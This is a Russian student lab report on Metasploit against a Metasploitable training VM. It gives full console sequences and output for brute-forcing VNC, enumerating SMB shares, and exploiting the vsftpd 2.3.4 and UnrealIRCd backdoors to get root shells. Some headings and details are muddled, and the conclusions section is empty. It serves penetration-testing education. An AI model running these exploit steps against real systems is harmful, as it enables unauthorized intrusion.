

Отчет по лабораторной работе № 5 Metasploit

Рикардо санчес

1 Metasploit

1.1 Цель работы

1.2 Цель работы

Изучить основные возможности инструмента тестов на проникновение Metasploit.

1.3 Ход работы

Используя документацию изучить базовые понятия - auxiliary, payload, exploit, encoder

1. auxiliary - являются вспомогательными модулями, которые не могут предоставить доступ к консоли, однако играют важную роль в сопровождении тестов на проникновение.
2. payload - полезная нагрузка, выполняющая определенную роль в фреймворке.
3. exploit - фрагмент программного кода, использующего уязвимость программного обеспечения.
4. encoder - модули, предназначенные для обобщения payload

Запустить msfconsole, узнать список допустимых команд (help)

Команды по работе с эксплойтом

1. use — Выбор эксплойта search — Поиск. Команда поиска более расширена; если вы забыли точное название или путь расположения эксплойта, она способна отобразить всю имеющуюся информацию
2. show options — Просмотр параметров для настройки. После выбора эксплойта, вы можете посмотреть какие опции доступны для настройки
3. show payload — Просмотр полезных нагрузок. Msf содержит множество полезных нагрузок; воспользовавшись этой командой можно также посмотреть рекомендуемые нагрузки для конкретного эксплойта или ОС
4. info — Просмотр подробной информации о полезной нагрузке
5. set — Установка параметров. Команда set устанавливает нужные параметры, например, RHOST(remote) и LHOST(local), или полезную нагрузку
6. check — Проверка хоста на уязвимость
7. exploit — Запуск эксплойта

Запустить msfconsole, узнать список допустимых команд (help)

| Command | Description |
|------------|--|
| ? | Help menu |
| back | Move back from the current context |
| banner | Display an awesome metasploit banner |
| cd | Change the current working directory |
| color | Toggle color |
| connect | Communicate with a host |
| edit | Edit the current module with \$VISUAL or \$EDITOR |
| exit | Exit the console |
| go_pro | Launch Metasploit web GUI |
| grep | Grep the output of another command |
| help | Help menu |
| info | Displays information about one or more module |
| irb | Drop into irb scripting mode |
| jobs | Displays and manages jobs |
| kill | Kill a job |
| load | Load a framework plugin |
| loadpath | Searches for and loads modules from a path |
| makerc | Save commands entered since start to a file |
| popm | Pops the latest module off the stack and makes it active |
| previous | Sets the previously loaded module as the current module |
| pushm | Pushes the active or list of modules onto the module stack |
| quit | Exit the console |
| reload_all | Reloads all modules from all defined module paths |
| resource | Run the commands stored in a file |
| route | Route traffic through a session |
| save | Saves the active datastores |
| search | Searches module names and descriptions |
| sessions | Dump session listings and display information about sessions |
| set | Sets a variable to a value |
| setg | Sets a global variable to a value |
| show | Displays modules of a given type, or all modules |
| sleep | Do nothing for the specified number of seconds |
| spool | Write console output into a file as well the screen |
| threads | View and manipulate background threads |
| unload | Unload a framework plugin |
| unset | Unsets one or more variables |
| unsetg | Unsets one or more global variables |
| use | Selects a module by name |
| version | Show the framework and console library version numbers |

Команды по работе с БД

| Command | Description |
|------------|--------------------------------------|
| creds | List all credentials in the database |
| db_connect | Connect to an existing database |

| | |
|------------------|--|
| db_disconnect | Disconnect from the current database instance |
| db_export | Export a file containing the contents of the database |
| db_import | Import a scan result file (filetype will be auto-detected) |
| db_nmap | Executes nmap and records the output automatically |
| db_rebuild_cache | Rebuilds the database-stored module cache |
| db_status | Show the current database status |
| hosts | List all hosts in the database |
| loot | List all loot in the database |
| notes | List all notes in the database |
| services | List all services in the database |
| vulns | List all vulnerabilities in the database |
| workspace | Switch between database workspaces |

1.4 оболочка Armitage

Графическая оболочка Armitage является фронтэндом фреймворка и позволяет лучше понять процесс атаки и в полной мере реализовать силу metasploit.

1.5 GUI веб-клиент

Для доступа к веб клиенту необходимо проверить статус веб-сервера metasploit и запустить apache.

Подключиться к VNC-серверу, получить доступ к консоли

1. При помощи команды search находим подходящий модуль
2. Устанавливаем модуль в качестве используемого
3. Устанавливаем параметры модуля (количество ядер и адрес удаленного хоста)
4. запускаем модуль
5. получаем удаленный доступ, используя vnc клиент и полученный пароль.

```
msf > search vnc
```

```
Matching Modules
=====
```

| Name | Disclosure Date | Rank | Description |
|--|-----------------|-------|-------------|
| ---- | | ----- | ---- |
| auxiliary/admin/vnc/realvnc_41_bypass | 2006-05-15 | | |
| normal RealVNC NULL Authentication Mode Bypass | | | |
| auxiliary/scanner/vnc/vnc_login | | | |

```

normal    VNC Authentication Scanner
auxiliary/scanner/vnc/vnc_none_auth
normal    VNC Authentication None Detection

...

msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) > set RHOSTS 192.168.0.155
RHOSTS => 192.168.0.155
msf auxiliary(vnc_login) > set THREADS 24
THREADS => 24
msf auxiliary(vnc_login) > run

[*] 192.168.0.155:5900 - Starting VNC login sweep
[+] 192.168.0.155:5900 - LOGIN SUCCESSFUL: :password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

```

root@kali:~# xtightvncviewer 192.168.0.155
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:

```

Получить список директорий в общем доступе по протоколу SMB

1. При помощи команды search находим подходящий модуль
2. Устанавливаем модуль в качестве используемого
3. Устанавливаем параметры модуля (количество ядер и адрес удаленного хоста)
4. запускаем модуль

```

msf > use auxiliary/scanner/smb/smb_enumshares
msf auxiliary(smb_enumshares) > set RHOSTS 192.168.0.155
RHOSTS => 192.168.0.155
msf auxiliary(smb_enumshares) > set THREADS 24
THREADS => 24
msf auxiliary(smb_enumshares) > run

[+] 192.168.0.155:445 - print$ - (DISK) Printer Drivers
[+] 192.168.0.155:445 - tmp - (DISK) oh noes!
[+] 192.168.0.155:445 - opt - (DISK)
[+] 192.168.0.155:455 - IPC$ - (IPC) IPC Service (metasploitable
server (Samba 3.0.20-Debian))
[+] 192.168.0.155:445 - ADMIN$ - (IPC) IPC Service
(metasploitable server (Samba 3.0.20-Debian))
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

Получить консоль используя уязвимость в vsftpd

1. Сканируем целевую машину с целью определить версию ftp сервера
2. Осуществляем поиск подходящего эксплойта
3. Выбираем подходящий payload, в данном случае он единственный
4. Устанавливаем параметры эксплойта (payload, rhost)
5. Запускаем эксплойт

```
msf auxiliary(smb_enumshares) > nmap 192.168.0.155 -p 21 -sV
[*] exec: nmap 192.168.0.155 -p 21 -sV
```

```
Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-03 07:05 EDT
Nmap scan report for 192.168.0.155
Host is up (0.00016s latency).
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 08:00:27:C0:D5:A0 (samsung Computer Systems)
Service Info: OS: Unix
```

```
Service detection performed. Please report any incorrect results
at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
msf auxiliary(smb_enumshares) > search vsftpd
```

Matching Modules

=====

| Name | Disclosure Date | Rank |
|--|-----------------|------|
| Description | | |
| ----- | ----- | ---- |
| ----- | | |
| exploit/unix/ftp/vsftpd_234_backdoor | 2011-07-03 | |
| excellent VSFTPD v2.3.4 Backdoor Command Execution | | |

```
msf auxiliary(smb_enumshares) > use exploit/unix/ftp/
vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show payloads
```

Compatible Payloads

=====

| Name | Disclosure Date | Rank | Description |
|--------------------------------------|-----------------|--------|---------------|
| ---- | ----- | ---- | ----- |
| cmd/unix/interact | | normal | Unix Command, |
| Interact with Established Connection | | | |

```
msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
```

```
PAYLOAD => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.0.155
RHOST => 192.168.0.155
msf exploit(vsftpd_234_backdoor) > exploit
```

```
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.0.155:51913 ->
192.168.0.155:6200) at 2015-06-03 07:21:17 -0400
```

```
hostname
metasploitable
```

Получить консоль используя уязвимость в vsftpd

1. Сканируем целевую машину с целью определить версию irc
2. Осуществляем поиск подходящего эксплойта
3. Устанавливаем параметры эксплойта (rhost)
4. Запускаем эксплойт

```
msf exploit(vsftpd_234_backdoor) > nmap 192.168.0.155 -sV -p 6667
[*] exec: nmap 192.168.0.155 -sV -p 6667
```

```
Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-03 07:15 EDT
Nmap scan report for 192.168.0.155
Host is up (0.00020s latency).
PORT      STATE SERVICE VERSION
6667/tcp  open  irc      Unreal ircd
MAC Address: B8:C6:8E:A2:E3:38 (samsung Computer Systems)
Service Info: Host: irc.Metasploitable.LAN
```

```
Service detection performed. Please report any incorrect results
at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
```

```
msf exploit(vsftpd_234_backdoor) > search unreal
```

Matching Modules

```
=====
```

| Name | | Disclosure Date |
|------|-------------|-----------------|
| Rank | Description | |
| ---- | | ----- |
| ---- | ----- | |

```

exploit/linux/games/ut2004_secure          2004-06-18
good          Unreal Tournament 2004 "secure" Overflow (Linux)
exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12
excellent    UnrealIRCd 3.2.8.1 Backdoor Command Execution
exploit/windows/games/ut2004_secure        2004-06-18
good          Unreal Tournament 2004 "secure" Overflow (Win32)

msf exploit(vsftpd_234_backdoor) > use exploit/unix/irc/
unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.0.155
RHOST => 192.168.0.155
msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse double handler
[*] Connected to 192.168.0.155:445...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your
    hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve
    your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 9BgYY1xkmWTTKmbM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "9BgYY1xkmWTTKmbM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.0.155:6667 ->
192.168.0.155:59388) at 2015-06-14 07:21:04 -0400

hostname
metasploitable

```

1.6 Nail Mary

Armitage Nail Mary - это модуль позволяющий сделать "умную" атаку на хост. Данный модуль сканирует целевую машину и применяет все подходящие эксплойты. Ниже представлены результаты его работы

1.7 Выводы